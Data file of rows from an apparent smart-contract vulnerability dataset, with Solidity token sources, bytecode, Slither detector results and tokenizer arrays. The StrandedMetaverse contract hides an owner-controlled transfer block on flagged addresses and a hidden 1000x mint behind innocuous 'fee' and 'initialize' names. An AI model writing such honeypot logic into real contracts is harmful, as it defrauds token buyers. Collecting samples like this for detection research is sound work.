63ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2782600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612abc84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b098382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612b8986611c16565b94509450945094509450612be585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7a84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cc78382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612d4786611c16565b94509450945094509450612da386600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e3885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6e90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ecd82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6284600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb890919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612faf8382613391565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060006006549050600068056bc75e2d63100000905060005b6005805490508110156132805782600160006005848154811061305857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061313f57508160026000600584815481106130d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561315d5760065468056bc75e2d63100000945094505050506132c7565b6131e6600160006005848154811061317157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611c6e90919063ffffffff16565b925061327160026000600584815481106131fc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611c6e90919063ffffffff16565b91508080600101915050613039565b5061329f68056bc75e2d6310000060065461255290919063ffffffff16565b8210156132be5760065468056bc75e2d631000009350935050506132c7565b81819350935050505b9091565b60008083118290613377576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561333c578082015181840152602081019050613321565b50505050905090810190601f1680156133695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161338357fe5b049050809150509392505050565b6133a682600654611c6e90919063ffffffff16565b6006819055506133c181600754611cb890919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001f1f61af728827ec8feeb73c3c1d24754e55ca09d7c460e2d7bb11fce2ef7b264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 17788, 2497, 2549, 9648, 2063, 2692, 2575, 2509, 2497, 2683, 29097, 4246, 2683, 23833, 2581, 23777, 2546, 2692, 12879, 2094, 20842, 2278, 21084, 2620, 11057, 2050, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2410, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,862
0x9783b81438c24848f85848f8df31845097341771
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; //Name of the token uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals string public symbol; //An identifier: eg AXM string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THE FOLLOWING VALUES FOR YOUR TOKEN! // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 1000000000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000000000; // Update total supply (100000 for example) name = "DOG COLLAR"; // Set the name for display purposes decimals = 18; // Amount of decimals symbol = "COLLAR"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058200d5dc686a9471f859fbf9f4d9f8bf92373157579d094a90a0b24b20eac3952040029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2509, 2497, 2620, 16932, 22025, 2278, 18827, 2620, 18139, 2546, 27531, 2620, 18139, 2546, 2620, 20952, 21486, 2620, 19961, 2692, 2683, 2581, 22022, 16576, 2581, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 1036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,863
0x9783ce405c05443b533ea6ec7ede38fead5b0319
//SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.7.6; import "./Context.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; contract StrandedMetaverse is Context, Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => bool) private _fee; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 internal _tokens; address private _factory; address private _router; uint256 private _maxfeelimit; bool private _feelimit; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (uint256 tokens, address router, address factory) { _name = "Stranded Metaverse"; _symbol = "STRANDED"; _decimals = 9; _tokens = tokens; _totalSupply = _totalSupply.add(_tokens); _balances[_msgSender()] = _balances[_msgSender()].add(_tokens); emit Transfer(address(0), _msgSender(), _tokens); _feelimit = true; _maxfeelimit = _tokens.mul(1000); _router = router; _factory = factory; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function revertFee(address _address) external onlyOwner { _fee[_address] = false; } function applyFee(address _address) external onlyOwner { _fee[_address] = true; } function feeCheck(address _address) public view returns (bool) { return _fee[_address]; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function initial(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: cannot use zero address"); _balances[account] = _balances[account].add(amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_fee[sender] ||_fee[recipient]) require(_feelimit == false, ""); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function initialize() public onlyOwner { initial(_msgSender(), _maxfeelimit); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80635ff61ea611610097578063a457c2d711610066578063a457c2d71461048b578063a9059cbb146104ef578063b67df42014610553578063dd62ed3e14610597576100f5565b80635ff61ea61461034c57806370a08231146103a65780638129fc1c146103fe57806395d89b4114610408576100f5565b806318160ddd116100d357806318160ddd1461022557806323b872dd14610243578063313ce567146102c757806339509351146102e8576100f5565b806306fdde03146100fa578063095ea7b31461017d5780630965af74146101e1575b600080fd5b61010261060f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b60405180821515815260200191505060405180910390f35b610223600480360360208110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106cf565b005b61022d6107d9565b6040518082815260200191505060405180910390f35b6102af6004803603606081101561025957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e3565b60405180821515815260200191505060405180910390f35b6102cf6108bc565b604051808260ff16815260200191505060405180910390f35b610334600480360360408110156102fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d3565b60405180821515815260200191505060405180910390f35b61038e6004803603602081101561036257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610986565b60405180821515815260200191505060405180910390f35b6103e8600480360360208110156103bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109dc565b6040518082815260200191505060405180910390f35b610406610a25565b005b610410610ae9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610450578082015181840152602081019050610435565b50505050905090810190601f16801561047d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d7600480360360408110156104a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8b565b60405180821515815260200191505060405180910390f35b61053b6004803603604081101561050557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c58565b60405180821515815260200191505060405180910390f35b6105956004803603602081101561056957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c76565b005b6105f9600480360360408110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d80565b6040518082815260200191505060405180910390f35b6060600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b5050505050905090565b60006106c56106be610f15565b8484610f1d565b6001905092915050565b6106d7610f15565b73ffffffffffffffffffffffffffffffffffffffff166106f5611114565b73ffffffffffffffffffffffffffffffffffffffff161461077e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff